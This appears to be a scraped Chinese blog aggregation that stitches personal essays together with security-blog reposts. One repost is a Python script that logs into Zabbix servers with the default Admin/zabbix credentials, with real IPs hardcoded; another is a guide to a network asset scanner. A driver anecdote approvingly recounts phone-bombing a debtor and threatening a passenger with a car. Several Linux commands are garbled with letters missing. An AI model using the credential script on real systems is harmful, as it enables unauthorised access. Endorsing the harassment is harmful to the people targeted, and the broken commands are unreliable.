怎敌他失眠依旧，不堪其扰。
内容饥荒
失眠自己没有好内容提供。没有墨水，谈何给读者提供高质量的内容，只能为读者提供「垃圾食品」而非「精神食粮」。这时，逼自己尽可能多地思考和输出内容，文风就会变得矫揉造作，无病呻吟。
一改再改
老毛病也犯了，不把一篇文章的版面排得精美大方，就不舍得推送出去。可知排版和失眠一样耗时：
- 初稿。
- 复制到第三方编辑器。
- 排版、找图、作封面。
- 手机初次预览。
- 同步到公众号编辑器。
- 手机再次预览。
- 格式出错，返回第三方编辑器。
- 格式无误，统计字数，挑选背景音乐。
- 手机最后预览。
- 没发现瑕疵，声明原创。
- 发文。
润色的过程少则两个钟，多则...... 谈限时写作，犹如纸上谈兵。
一周一篇
拟题、动笔、排版，作为一个业余写作爱好者，一天一篇，实在够呛。别装逼了，和解一下，试试周更。保证自己有时间为下一篇推文充饥，使之笔下言之有物，使之夜里免我惊扰。希望这次日更改为周更不会再食言打脸。
大学有份难能可贵的自由，好好利用它，去做一件自己热爱并能坚持的事情，不一定要是像高中那样去学习。
对我来说，再给我四年我也不会努力学习，我也不觉得努力学习是唯一的正道。如果再给我四年，我会去看很多很多杂书，看到我觉得自己能够比较轻松的写出自己想表达的东西的程度就好了。by 陈昌
记录岁月
有激情创作，奈何才华贫瘠，但我不会停止从思想输出到文字。为了捕捉碎片灵感，为了追寻生活印迹，为了对抗时间的流逝和空间的变换。
Get Up！
庭说：我知道我 Tree New Bee 很不好，如果你不能忍受，我希望你能反省一下你自己，为什么别人可以，没时间解释了。
一位滴滴司机的生存之道
2016-12-19 01:31:46小德，一位滴滴司机。已经是凌晨 4 点了，小德还在夜宵摊，三五好友，烧烤啤酒，不对，是烧烤可乐。因为早上 7 点半还有客户预约了专车，所以不能喝酒。虽然没有酒精助兴，但不妨碍小德向好友们吐露不快的心情。
气死你
曾经有一位乘客，钱包落车门缝里了。出于好奇，小德打开了钱包，有几千上万吧。顿时心痒痒的，但君子爱财，取之有道，小德还是诚实地回了失主：「哥们，别急，这就给你送去。」赶到了失主所在地，失主拿了钱包，客气地说了句：「谢了啊！」
说罢，便扬长而去。
做了好事，满怀成就感的小德本以为失主会慷慨解囊感谢一番，现在好了，赔了油费又揪心，人家连一包香烟或一瓶饮料都没打算给你候着。你说这气不气人。
啥也不说，干了这一杯可乐。
呼死你
这还不是最气人的。
从前有一位乘客打完车后拒付 400 多元的车费，小德三番两次去讨债，对方受不了，也客气说道：「拜托你别再打电话过来了，你烦我也烦，不就一两百块钱，你至于嘛。」
好一个强词夺理。
既然双方无法协商，小德只好向网约车平台投诉，结果平台方也拿这小无赖没有办法。但这亏也不能就这么吃了。岂有此理，把我的「呼死你」拿出来回敬这个小无聊：电话打到你崩溃，短信收到你发疯，甭想正常使用手机。
2003 年，南京市城管部门联合南京一家高科技公司，共同研制了名为「呼死你」的信息化城市管理系统。通过「语音呼叫」的方式，告知制造「城市牛皮鲜」的不法广告联系人违反的法规内容，并要求其在规定时限，到指定地点接受处理。否则，系统将不间断拨打该号，使其无法正常使用。
用剑走偏锋的报复神器「轰炸」了两个星期，小无赖不堪其扰，鼓起勇气，点击了支付按钮。小德却抖起了小机灵，不承认这是他的恶作剧，还「贴心」地点醒了小无赖，是不是近期还得罪了其他「小人」。
为证清白，小德只好再呼了一个月。喝，真是出气！
撞死你
更无赖的还在下面。
这一位乘客也剑走偏锋，赖账就赖账，能不能真诚点，回到家再赖行不行，也好让小德呼你手机几个月。你这半路就让司机把你放下来，还耍横不付车费，到底是哪门子的买卖。
机智的小德并没有死守车门不放人。深知僵持是没有好结果的，对付这种大无赖，智取才是硬道理。小德正了正气，慢条斯理地说：「大哥，您慢走不送！但是呢，出门在外，身不由己，一不小心刹车当油门，撞到你可不好。所幸我这车上了保险，只要没撞死，半残我还是赔得起的。」
大无赖不听劝，下了车，小德的车就跟在他的屁股后面，「放心吧，我就蹭蹭不进去」（不要相信男生的这种鬼话）。这个时候，玩的就是心跳，赌的就是大无赖心脏不好。蹭了一会儿，大无赖乖乖付了钱，撒腿就跑。
都满上，杯莫停，今宵多可乐，请君为我侧耳听。
庭说：那不寻常的路，难赦免的罪。
快给你的眼睛做个「大保健」吧
2016-12-25 23:19:25大过节的，你们过得还好吗？
庭勃士的两个舍友出去实习了，一个回家了，独守空房，这种感觉真的是棒极了！在圣诞晚上，关上了大门，一瓶牛奶配音乐，开到最大声，舒服窝在宿舍里。呃，这篇我要说什么来着？音浪太强，打断了我的思路。切放《莫扎特：D 大调小夜曲》，找回灵感。
嗯，这篇教大家如何给你的眼睛做个「大保健」，让屏幕不再辣眼睛。
插播一则小贴士
看见上方绿蓝相间的小横条了吗？它不仅是分隔条，还是「阅读进度条」，作用是给读者一个心理预期：读到哪了，还剩多少。虽然页面右侧已有原生的阅读进度条，可是当你读完文章后，发现进度条还没有走完，因为评论区也被计入了页面长度。
纵使现在庭说的文章不长，评论不多，这个进度条其效甚微，但聊甚于无嘛。为了这个独特、贴心、物尽其用的小细节，费了我好大功夫。恕我生怕大家没发现这个小彩蛋，忍不住奔走相告。
不废话，上「大保健」。
电脑护眼：f.lux
f.lux 是一款可以全天候保护你眼睛的软件。它可以根据当地的时间变化，自动调节电脑屏幕的色温，让电脑屏幕始终适合保持在适合阅读的状态。
- 白天冷色调，使你精神抖擞；
- 夜晚暖色调，减少蓝光对眼睛的刺激，缓解用眼疲劳，助你睡意绵绵。
下载地址：justgetflux.com
大小只有 485 KB，因此这款让你不伤眼的软件运行起来几乎不占内存。还支持 Windows，Mac OS X 和 Linux 三大主流桌面操作系统。
首次运行，你需要告诉 f.lux 你的坐标，这样它才能根据当地时间变化，自动调节电脑屏幕的色温。在下面这个网站输入你的地址，即可查询你所在地的坐标（经纬度）：gpsspg.com/maps.htm
如果你要使用电脑来做设计、绘图等方面的工作，对屏幕颜色比较敏感，可以选择 Disable 功能，让 f.lux 暂时失效。
当然看电影的时候也少不了 Movie Mode。实属长时间看电脑的必备佳品啊。
手机护眼：云朵护眼
看了一天的电脑，虽眼干、眼涩、眼疲劳，但睡前仪式（玩手机）依旧不能少。黑灯瞎火中，我一般会使用以下套装点亮我的床头，既不影响舍友休息，又避免了手机刺眼的屏幕。
假如你没有「充电宝 + 随身灯」，又不得不关灯，而且手机最低亮度下依旧闪瞎你的眼，微信更没有夜间模式。这个时候就得曲线救眼，下载一款叫「云朵护眼」的 App，给手机屏幕加一层护目滤镜，把亮度降得更低。
这个 App 小巧得只有 37 KB，安装在手机上也不到 200 KB。操作极其简单，点开即用。
因 iPhone 自带护眼模式：这里就不再赘言了（因为没用过 iPhone）。
爱护眼睛，刻不容缓
一闪一闪亮晶晶，即使你可以「明目」张胆地给眼睛做「大保健」，但是请别忘了：
- 一个正确的坐姿
- 定期让眼睛休息
- 多出去户外运动
才是护眼的最根本措施。
为什么要谈恋爱？
2017-01-02 08:00:00一个人不介意孤独，小日子也挺舒服，搞不懂为什么还会有想谈恋爱的念头？
难道我在欺骗自己？不得不找一个人排遣我的寂寞，赶走我的空虚，惊艳你我时光，温柔我的岁月？别说了，一切甜得发腻的情话都可以成为恋爱的理由。
亦或是，根本不需要理由，恋爱是人类本能使然。
试着拉长时间跨度来看这个问题：恋爱修成正果，步入婚姻殿堂，双方摩擦摩擦；一日，交换染色体成功，怀胎十月，产下 Baby。
要是人类没有谈恋爱的欲望，就没有后续的一系列动作，断子绝孙，人类灭亡。因此我们到了年龄，自然会屁颠屁颠地去谈恋爱，这是我们的生物本能，不然就没有人类这个物种了。
那么问题来了，造娃的生物学本质是什么：基因的进化与延续。
基因是指携带有遗传信息的 DNA 序列，是控制性状的基本遗传单位。
设想
《自私的基因》一书告诉我们：**人类是基因为了保全自己而设计出来的精致的生存机器。**我们以为自己是拥有独立意志的个体，但实际上我们仅仅是基因的临时载体，是基因的奴隶。
从基因的角度去看人类的种种行为现象，就会如梦初醒般豁然开朗，你会越来越觉得基因为了延续，什么事都干的出来！
更大胆的设想
人类从青春期就开始有性欲，一直持续到中老年，至于对大多数动物而言，性欲只存在于发情期（比如春天）。
更加令人匪夷所思的是，人类可以享受无与伦比的性高潮体验。据说，与人类基因相似度高达 98% 的黑猩猩都没有此等福利，他们只是简单重复的活塞运动，草草了事，毫无情趣可言。
为什么人类在青春期开始就可以通过打飞机（手淫）而获得性快感呢？我做了一个更大胆的设想：或许是基因先让人类尝个甜头，待性机能成熟以后，异性相吸的魔力会让人类毫无违和感地完成基因交给人类的使命：送出你祖传的一半染色体（基因）。
从青春期开始，卑鄙的基因就赋予人类性高潮的独特幻象，馈赠也好，阴谋也罢，反正就是让人类持续想要这种妙不可言的体验，时机一到，再赋予人类坠入爱河的欢愉感，一步一步地引导人类推开交配的新世界大门，手法 Q 弹，姿势良多，人类完成了传宗接代的家族使命，基因完成了延续和进化的内在目的。
人类基因用尽各种花招提升用户体验，使之欲罢不能，就是生怕人类不「干」了。人类不「干」了，基因就停止传播了，更别谈基因重组而产生的进化了。失去了进化，人类就失去了爬上食物链顶端的动力。所以自私的基因为了活下去，才不会让人类有停止交配想法。
反抗
在把生物学原理应用于人类时，千万别忘了：人类也是一种文化动物。人类的行为不仅被先天的生物本能所决定，而且也受到后天的文化、社会因素的影响。
虽然我们是作为基因机器而被建造的，但具有发达智力的我们具备足够的力量去反对我们的缔造者。在这个世界上，只有我们人类，能够反抗自私基因的暴政。——理查德 · 道金斯
所以人类才有谈或不谈恋爱的自由，生或不生孩子的权利，毕竟我们除了繁衍以外，还有很多别的事情要干。
就算「拆穿」 了人类基因的如意算盘，又有什么用呢？谈或不谈，生或不生，性欲就在那里，只可压抑，无法舍弃，早已住进你的心里，默然相爱，寂寞欢喜。
庭说的话，可能都是错的
孟子与告子辩论，告子曰：「食、色，性也。」说人话就是性和吃饭一样正常，都是人的本性。饮食，是民生问题；男女，是康乐问题，人生就离不开这两件事。
以上就是我这条单身狗关于人类生命的思考，不一定正确，却耐人寻味。篇幅有限，写得也乱，我会继续深入这个话题：人类的诸多行为都是为了生存和繁衍。且听下周日分解。
为什么喜欢年轻漂亮的姑娘？
2017-01-16 08:00:00站在生物学的角度看人类的行为，归结起来有两个：生存和生娃。再浓缩一下：为了基因的存续。反之，则灭绝。
错觉
一个段子：上课的时候，一个女生老是瞅我，我就开始想，如何拒绝她才不会让她太难过呢？直到她和我同桌表白后，我才发现自己想多了。
我在篮球场上驰骋的时候也会有这种错觉，总觉得场外有女生在关注我？好享受这种不自在的感觉，一种自己长得丑，却想得美的感觉。
听过三大错觉吗： 手机震了、她喜欢我、我能投进。
为何
这让我联想到（雄）孔雀开屏：搔首弄姿地炫耀美丽的羽毛，以此吸引雌孔雀，待求偶成功，便与之产卵育雏。
反观球场卖弄的自己，活像人形姿态的孔雀开屏。竭力表现自己跳得高、投得准、跑得快，姿势也帅......好似在向异性释放求偶信号：我可是优质基因的携带者，走过路过不要错过。
男女搭配，打球不累。这种反常的表现欲，或者说容易被异性触动的发情期，浅意识是希望得到异性的钦佩，潜意识是渴望得到异性的交配。
诚然，感觉自己被异性吸引的错觉对基因的存续是有好处的。要是猜对了，你就获得一个繁衍后代的机会。
反抗
那有没有摆脱这种错觉的可能呢？我以身试法，反抗基因给我异性相吸的设定，进行精神上的自我修行。
刚好校道女生成群，且看我：百花丛中过，片叶不沾身。放空自己，心无杂念......就是这样，干得漂亮，大大方方地保持住，走回宿舍我就成功了一小步。
奈何身体是不会说谎的。香艳的肉身在招展，猥琐的眼神在飘荡。同行的朋友还不时传来一句：刚在走过的那个妹子好正啊！
众人皆醉我独醒，纵出淤泥而不染。我对这些怀有不良念头的朋友嗤之以鼻，并义正言辞地怒斥道：在哪？在哪？在哪？
此外，男性怦然心动的目光会更多的游离在年轻漂亮的女性身上？撇开人类情感，单从动物层面分析，相貌普通的女性一样也可以完成基因的传承啊。
青睐
在进化心理学里面，吸引男性去喜欢年轻伴侣的原因不是年轻漂亮本身，而是与该特征相关的生育能力。
年轻：代表较强的生育能力，35 岁左右出现滑坡；
漂亮：一肌妙肤，五官端正，营养健康的表现。
还有不可忽视的存在：坚挺的乳房，迷人的曲线，性成熟的信号。
这种看脸的择偶标准，暗中保证了基因有效传承。
热爱
话又说回来，自己长得一般，却又打心眼里热爱异性，为了亲近异性，我想我应该是下意识地让自己练就了花言巧语的本事。由于这方面我天分好，态度又比较诚恳，所以基本上还算顺利。
不过如果有得选，我还是宁可笨嘴笨舌，然后帅得气贯长虹。
为什么丁丁长得像蘑菇？
2017-01-16 08:00:00上两周从心理层面上阐述（胡扯）了《为什么要谈恋爱？》以及《为什么喜欢年轻漂亮的姑娘？》，换个角度，这周从生理层面上琢磨琢磨，人类为了有利于物种基因的延续，怎样进化自己的身体机能。
高能预警
得益于祖国落后的性教育，以下内容的尺度可能会对读者造成不可修复的精神「污」染，轻之眼镜火辣，三观尽毁，重之以后无法直视身体的某一部位，望三思后谨慎阅读！
嘀，上车的乘客请摘掉有「色」眼镜后坐好扶稳，生命和谐号即刻发车。
为什么丁丁会晨勃？
一早醒来，发现自己一柱擎天，支起了「小帐篷」，除了尷尬，上厕所还特别不方便。人类直立行走解放了双手，早晨直立的丁丁铁定另有所图。
在远古时代，人类要出去狩猎，但这是一件很危险的事，很可能早上出去晚上就回不来了。因此，那些会晨勃的男性就有更大的机会在出门前让配偶怀上自己的孩子。假如真的不幸遇难了，自己的基因也能过传递下去。久而久之，在自然选择的作用下，那些不会晨勃的人类男性就被淘汰了。
其实不止早晨不听话，丁丁晚上也会偷偷地无意识反复勃起，只是你睡得沉没发现而已，不信的话，睡前你拿一列未撕开的邮票缠起来试试，身体可不会说谎哦。
为什么丁丁长得像蘑菇？
在原始人群交时代，可不是一夫一妻制，所以男性的丁丁就在前端演化出了膨大的蘑菇头，利用生成的冠状沟，把其他竞争者留下来的精液刮出来，真 · 挖掘鸡。
为了这场精子的战争，还配套了两个进化加成：
- 在灵长目动物中，人类男性具有尺寸最大的丁丁，这样可以使清道夫的清理工作更有效率
- 男性射精完有一个疲软的「不应期」，就是为了防止通过二次战斗把自己的精液给挖了出来
不过进化到现在，文明的人类已经不需要这么「干」了，所以就忘了自己的小蘑菇还有这个采集技能。
回望生命
地球上所有生命的最大欲望就是：繁殖后代。只有具有这个特性的物种才能在几十亿年的生物演化中被选择和保存下来。反之，则被淘汰。
若把地球诞生至今的这段日子当成一年，虽然三月可能已经有微生物，但要到十一月的第三个星期最简单的鱼类才出现，而人类的时间只占据最后的一分钟。
所以当渺小的人类中的渺小的我好奇心勃起的时候，不理解「生而为人」的时候，我就会从「个体」中跳脱出来，站在生命进化的历史长河中俯视众生，或许可以找到最接近本源的答案。
爆竹声中一岁除，鸡年春节小随笔
2017-02-06 08:00:00在我人生的最后一个寒假里，做了以下几件事：糗事、喜事、坏事。
跑了牛
我的家乡在水草丰茂的地方，但群山环绕，算不上是一个放牛的好地方。
插播一条好消息：美剧《越狱》第五季在北京时间 4 月 5 日开播。
当然还有坏消息：在大年三十的中午，我家的四条小牛，成功「越狱」，逃之夭夭。
这漫山遍野，上哪找去？
幸好父亲是眼光独到的老牛贩，他雪亮的眼睛紧紧地循着新踩的牛脚印，翻了几座山，找了几个钟，却还不见牛影子。可恨的是，在一个分岔路口，牛脚印居然消失了，线索断了，我和父亲只好兵分两路。
时间如牛，走得飞快，眼看已是下午的 4 点钟了， 每年 6 点这个时候，就要吃年夜饭了。一个人走在荒无人烟的深山老林中，花自飘零水自流，此愁无计可消除，才下眉头，却上心头。
突然，听到不远处传来枯枝落叶的翻滚声，稀稀疏疏，我将信将疑，走近一看，居然真是这几条犊子。应了那句老话：踏破铁鞋无觅处，得来全不费功夫。
脚上穿的铁鞋都磨破了都无法找到，没想到后来无意之中，不花一分力气就找着了。
感谢四小天王高抬贵腿，关键时候，牛脚扫落叶，要是它们安安静静地在远处跟我捉迷藏，走过路过，我也就这么错过了。
大年三十出乱子，失而复得好嗨皮，甭提有多糗。
日了狗
为了小标题的整齐划一，我无耻地把「抱着小母狗晒太阳」说成「日了狗」，别无他意，仅此而已。
天朗气清，惠风和畅，抱着狗崽，一起观赏冬日的太阳（其实狗狗早就晒得舌头不能自理），岂不快哉。既不辜负大好天气，又给平淡的放牛生活增添了几分惬意。
难道这就是小确幸（微小而确定的幸福）：逗逗小狗，哼哼小曲，如此解闷，再好不过。如果我像狗狗一样有尾巴，这时一定会摇个不停。
这就是开头所说的喜事：开心事。
胖了人
人生在世，吃喝二字。特别是大过年的，有些美食，春节特供，现在不吃，再等一年，不多尝几口，对得起自己吗？
说得好听，减肥，又谈何容易。看着一条条裤子，穿之勒着肉疼，弃之多么可惜，再想到自己过年期间做了那么多有害身体的坏事（暴饮暴食），我就忍不住对腰间的赘肉暗自发誓：上了 140，我就叫别人用小拳拳锤我肚腩。
- 博客 轶哥博客 2016-04-28 14:07:25<>emem利用Docker部署的服务器环境已经成为目前主流。为了实现高负载、易于拓展，我们采用Ngix作为反代，Redi记录访问日志。（主机服务器环境：CetOS7.3，2017年05月02日19:57:08更新）
1、安装并启动Docker
1. 设置仓库
<>emem在CetOS中设置Docker CE的仓库地址。udo yum itall -y yum-utiludo yum-cofig-maager \ --add-reo \ htt://dowload.docker.com/liux/ceto/docker-ce.reoudo yum makecache fat - 博客 Nuclear'Atk（核攻击）网络安全实验室 2016-04-23 18:09:00
zabbix初始口令批量检测小脚本
xyntax | 2016-04-20 12:57
看到这漏洞，WooYun: 奇虎360某IP服务器zabbix弱口令
写了个小脚本做批量。
从shodan拿到国内400+ zabbix的IP，跑出来60个：
源码（含数据）：
https://github.com/Xyntax/POC-T/blob/master/module/zabbix_wp.py
# coding:utf-8 import requests from bs4 import BeautifulSoup """ zabbix 默认口令检测 支持两种zabbix版本 Admin/zabbix 目标发现：shodan Set-Cookie: zbx_sessionid country:cn cdxy 16.04.20 """ def _get_static_post_attr(page_content): """ 拿到<input type='hidden'>的post参数，并return """ _dict = {} soup = BeautifulSoup(page_content, "html.parser") for each in soup.find_all('input'): if 'value' in each.attrs and 'name' in each.attrs: _dict[each['name']] = each['value'] return _dict def info(): pass def exp(): pass def poc(url): h1 = { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0', } h2 = { 'Referer': url.strip('\n'), 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0', } blacklist = [ 'incorrect', '<!-- Login Form -->', ] try: s = requests.session() c = s.get(url, timeout=10, headers=h1) dic = _get_static_post_attr(c.content) dic['name'] = 'Admin' dic['password'] = 'zabbix' # print dic r = s.post(url + '/index.php', data=dic, headers=h2, timeout=10) if 'chkbxRange.init();' in r.content: for each in blacklist: if each in r.content: return False else: return True except Exception, e: # print e return False if __name__ == '__main__': url1 = 'http://54.222.167.52/' # True url2 = 'http://180.235.64.209:8080/' # True unsuccess_url = 'http://101.198.161.9' # False print poc('http://106.2.60.133/')相关内容：
关于FTP弱口令扫描的，为什么经常见有人搞一些FTP弱口令扫描？
国内各类 WebShell 密码大全 爆破、社工用 webshell-password
留言评论（旧系统）：
1212121212 @ 2016-04-29 15:45:11
from bs4 import BeautifulSoup 我这里没有bs模块啊
本站回复：
-_-!!!
1212121212 @ 2016-04-29 15:47:50
我知道了 bs4的问题了
本站回复：
-_-!!!
佚名 @ 2016-05-16 11:55:07
很久没看到广告了，然后小手一点，果断暂停右上角AdBlock插件，然后愉快的欣赏广告了。
本站回复：
-_-!!!
路人甲 @ 2016-06-09 11:10:19
垃圾
本站回复：
垃圾
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2016-04-23 18:00:45
大家来一起柯南一下、分析下案情，迷の密室盗窃案！
Ch丶0nly | 2016-04-20 14:44
楼上朋友的笔记本丢了，只开着窗户（靠墙的窗户5楼 不至于爬那么高偷电脑）门是锁着的 锁也没被破坏
回去的时候门是正常锁着的 唯独笔记本电脑丢了（包括鼠标 电脑包之类的） 其他东西都没有翻动过的痕迹 床头包里有钱为什么没丢呢？ 只是拿走了笔记本电脑
楼下也没有监控 没办法看到是谁拿走的
因为我们租住的是宾馆流动人口不大 初步怀疑是这栋宾馆里的住户所为 因为门锁未被破坏 而且小偷走的时候还把门锁上了 说明可能是有钥匙的人。
现在请大家集思广益 发挥一下你们的福尔摩斯精神！
各种吐槽：
1#
Ch丶0nly | 2016-04-20 14:46
这种事报警也是没啥卵用 区区一台电脑 我大天朝叔叔为你所用？
2#
包包 | 2016-04-20 14:49
感觉像是他自己忘记电脑放在哪里了吧。。我是没见过入室盗窃只拿电脑，不拿现金的→_→
3#
Ch丶0nly | 2016-04-20 15:10
@包包 可是他就说丢了 我也纳闷啊
4#
雅柏菲卡 (万物有灵，切忌污损。。。。。。) | 2016-04-20 15:16
@包包 我也没见过
5#
wanglaojiu (天若有情天亦老人若有情死得早，凶胎又侧漏了) | 2016-04-20 16:59
@Ch丶0nly 窗户对面是不是另外一栋楼房的天台，是的话可以从那边搭个梯子到这边窗户，人从梯子过来，从窗户进入
6#
by灰客 | 2016-04-20 17:31
你朋友应该看看这个
http://baike.baidu.com/link?url=UNwJbq9XR-v9G4IGDUXWpzQgN7Z0x3ha2G70PjcBBf2HM8vPFU8GAJODvjQBRp7Myq78PbBqMykQ6DZBa0LZ3a
7#
剑芯 (大包整多两笼) | 2016-04-20 18:28
警察说过，在惯偷眼里面，1楼，5楼，30楼，100楼都没有区别。他们都是专门爬墙的好手，都能上去
8#
Ch丶0nly | 2016-04-21 11:09
@wanglaojiu 窗户外面是墙 大白天的爬墙带台电脑不划算啊 电脑华锁又不是什么高端电脑 还不是新的。。。
9#
Ch丶0nly | 2016-04-21 11:10
@剑芯 爬楼不划算 而且电脑不值啥钱
10#
剑芯 (大包整多两笼) | 2016-04-21 11:25
@Ch丶0nly 你手中有个0day，你打某个站分分钟。如果哪天这个站长得罪你了，你分分钟做掉他，不因为什么，就因为他惹了你。我没有这个0day，所以如果站长惹了我，我黑不下来，我就得花更长更多的时间去找很多很多的肉鸡ddos这个站，时间长，成本高，容易暴露
你和我没有爬墙的能力，觉得很难，不代表对于别人专门干这个的来说爬墙也很难。
11#
Ch丶0nly | 2016-04-21 11:51
@剑芯 偷台破电脑有啥意思 不值钱啊 为这小偷智商担忧 包里有现金 居然没去翻 到底是啥原因很纳闷。。。。
12#
我还爱 (我还是那个我，我还爱那个我) | 2016-04-21 13:27
我以为你知道柯南的大结局呢
13#
lxj616 (简介) | 2016-04-21 14:25
你们的思路都不对
不应该先想电脑是怎么没的
而是要想为什么这台电脑需要消失
14#
Ch丶0nly | 2016-04-21 17:25
@lxj616 难道因为里头有情侣自拍？ O(∩_∩)O哈哈~
15#
小表哥 | 2016-04-23 16:08
柯南漫画我最新欢了，把开场介绍人物的合照拿来 我给你圈出来 凶手就是你！
16#
核攻击 (统治全球，奴役全人类！毁灭任何胆敢阻拦的有机生物！) | 2016-04-23 17:53
目测熟人作案
相关内容：
一起网络诈骗案的风险揭示，套取用户信息、信用卡、支付宝、快捷支付洗钱
上来吐个槽，再次侦破一宗牵扯到全国多个大型医疗集团的恶性案件！
上海伊莱美医院被黑、黑帽SEO做淘宝客，核总深入追查，揪出内鬼！
360对你真的起作用了吗？bypass....分析支付宝网银木马，反爆菊花
核总霸气分析“天津丽人女子医院”主站被黑、挂淘宝客、黑帽SEO全过程！
追查黑客姓名,邮箱,支付宝信息，惊现大规模僵尸网络，要求警方介入处理！
服务器被入侵之后，反爆1433抓鸡黑客菊花，并公布大量黑阔账号密码
简单分析一个通过 js 劫持进行黑帽 SEO 做淘宝客的案例
- 博客 轶哥博客 2016-04-20 13:20:42<>emem如果安装uutu后启动报错：“Reoot ad Select roer Boot device or Iert Boot Media i elected Boot device”。（Uutu 16.04）解决方案：插上U盘或CD，进入Try Uutu模式。使用
udo fdik -l查看你的Uutu安装在哪里。例如：/dev/da1，对应修改以下命令执行。注意 ：不要选择EFI分区！udo mout /dev/da1 /mtudo at-get udateudo at-get itall gruudo gru-itall /dev/da --root-directory=/mt - 博客 轶哥博客 2016-04-19 20:01:18<>emem三个简单的JAVA练习题。
- 建立一个元素类型java.util.Date的线性表，并在表中加入3个日期对象。
- 定义一个代表人员的类Pero，含有三个数据成员（姓名，性别，年龄）。用TreeSetltPerogt存储三个对象。
- 产生0-99的随机数100个，去掉重复的，还有多少个相互不同的数？
- 博客 轶哥博客 2016-04-18 22:03:27<>emem制作Uutu To Go首先要下载好Uutu安装镜像，准备好一个用于安装Uutu系统的U盘。这个U盘不是所有U盘都可以的，我建议使用M.2 SSD + 硬盘盒，原因请看下面的速度测评。<>emem更多内容请点击下方查看全文按钮浏览。
- 博客 轶哥博客 2016-04-17 12:20:53
制作启动U盘启动盘
<>emem先找一个8G及以上大小的U盘。<>emem下载并安装UltraISO，如图选择“打开”，选择安装镜像（本文使用Uutu 16.04）。<>emem更多内容请点击下方阅读全文按钮。 - 博客 轶哥博客 2016-04-17 11:17:16<>emem如果在制作Uutu To Go或安装Uutu出现“error: file #39/gru/i386-c/ormal.mod#39 ot foud”的报错，可以进入LiveCD模式进行引导的安装。 <>emem插上U盘或CD，进入Try Uutu模式。
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2016-04-16 11:11:47
网络资产信息扫描(F-NAScan)
wolf (@伏宸安全) | 2016-04-14 13:00
网络资产信息扫描
在渗透测试(特别是内网)中经常需要对目标进行网络资产收集，即对方服务器都有哪些IP，IP上开了哪些端口，端口上运行着哪些服务，此脚本即为实现此过程，相比其他探测脚本有以下优点：
1、轻巧简洁,只需python环境，无需安装额外外库。
2、扫描完成后生成独立页面报告。
此脚本的大概流程为：
ICMP存活探测-->端口开放探测-->端口指纹服务识别-->提取快照(若为WEB)-->生成结果报表
运行环境：
python 2.6 +
参数说明
-h 必须输入的参数，支持ip(192.168.1.1)，ip段（192.168.1），ip范围指定（192.168.1.1-192.168.1.254）,ip列表文件（ip.ini），最多限制一次可扫描65535个IP。
-p 指定要扫描端口列表，多个端口使用,隔开 例如：22,23,80,3306。未指定即使用内置默认端口进行扫描(21,22,23,25,53,80,110,139,143,389,443,445,465,873,993,995,1080,1723,1433,1521,3306,3389,3690,5432,5800,5900,6379,7001,8000,8001,8080,8081,8888,9200,9300,9080,9999,11211,27017)
-m 指定线程数量 默认100线程
-t 指定HTTP请求超时时间，默认为10秒，端口扫描超时为值的1/2。
-n 不进行存活探测(ICMP)直接进行扫描。
结果报告保存在当前目录(扫描IP-时间戳.html)。
例子：
python NAScan.py -h 10.111.1
python NAScan.py -h 192.168.1.1-192.168.2.111
python NAScan.py -h 10.111.1.22 -p 80,7001,8080 -m 200 -t 6
python NAScan.py -h ip.ini -p port.ini -n
服务识别在server_info.ini文件中配置
格式为：服务名|默认端口|正则 例 ftp|21|^220.*?ftp|^220-
正则为空时则使用端口进行匹配，否则以正则匹配结果为准。
效果图
下载地址：http://down.future-sec.com/F-NAScan.zip
项目地址：https://github.com/ywolf/F-NAScan
欢迎大家反馈建议和BUG
相关内容：
King Of The Proxy (代理之王) v2.0,http/https/socks4/5代理采集/验证工具
Jboss JMX/EJBInvokerServlet 批量检测工具
【APT】NodeJS 应用仓库钓鱼,大规模入侵开发人员电脑,批量渗透各大公司内网
Nscan.py - Fast Network Scanner，高速网络扫描器，全网端口扫描神器
关于FTP弱口令扫描的，为什么经常见有人搞一些FTP弱口令扫描？
一段通过WebRTC获取客户端内网IP的js （无需java/ActiveX支持）
InsightScan:Python多线程Ping/端口扫描 + HTTP服务/APP 探测
King Of The Proxy (代理之王) v1.0 发布、HTTP代理采集、验证工具
Crazy Scan v1.0 - 疯狂扫描 v1.0 - 独立版
长安刺客 - 旁注杀手 v1.3 + Crazy Scan v1.0 - 疯狂扫描 v1.0，发布！
查找“CDN、负载均衡、反向代理”等大型网络真实IP地址的方法
长安刺客 - 旁注杀手 v1.2 版 + CDN 终结者 v1.1 发布
长安刺客 - 旁注杀手 v1.1 版发布，外加强力新功能：CDN 终结者 v1.0
DEDE 0DAY 批量扫描程序 DEDE5.5批量拿shell工具
各种吐槽：
1#
园长 (喵~) | 2016-04-14 13:02
前排，支持狼狗
2#
_Thorns (舍就是得。) | 2016-04-14 13:02
赞
3#
齐迹 (sec.zbj.com 欢迎来撸) | 2016-04-14 13:03
前排，支持狼狗
4#
小胖子 (z7y首席代言人，园长的表哥...) | 2016-04-14 13:03
前排，支持狼狗
5#
Hackshy (嘘....告诉你个秘密) | 2016-04-14 13:05
感谢分享。
6#
wolf (@伏宸安全) | 2016-04-14 13:05
@小胖子 @齐迹 @园长 你们都被谁带坏了 wolf = 狼
7#
闰土。 (骗我长胖 ?) | 2016-04-14 13:06
前排，支持狼狗
8#
路人N (?) | 2016-04-14 13:21
赞赞赞~
9#
小牛牛 | 2016-04-14 13:25
牛逼，支持WOlf
10#
Mystery。 (设计师一枚) | 2016-04-14 13:35
支持师傅
11#
BloodSword | 2016-04-14 13:38
中排，支持狼狗
12#
luwikes (土豆你个西红柿，番茄你个马铃薯～～～) | 2016-04-14 13:47
后排，支持狼狗
13#
JiuShao | 2016-04-14 14:06
@wolf 我能来你们办公室走吗 我在你们楼下。
14#
ver007 | 2016-04-14 14:07
输出效果不错拿来用用
15#
DNS | 2016-04-14 14:10
@JiuShao 来来
16#
JiuShao | 2016-04-14 14:15
@DNS 你们在了么 我真上来了哟
17#
prolog (事了拂衣去，不收一分钱) | 2016-04-14 14:18
前排，支持狼狗
18#
Azui | 2016-04-14 14:29
赞！
19#
luwikes (土豆你个西红柿，番茄你个马铃薯～～～) | 2016-04-14 14:42
感谢楼主分享．提个小bug，不加-n参数的话会一直显示提示信息，可是提示信息里的-n参数写的是可选．．
20#
HackBraid | 2016-04-14 14:44
这个比nmap好用吗
21#
wolf (@伏宸安全) | 2016-04-14 14:50
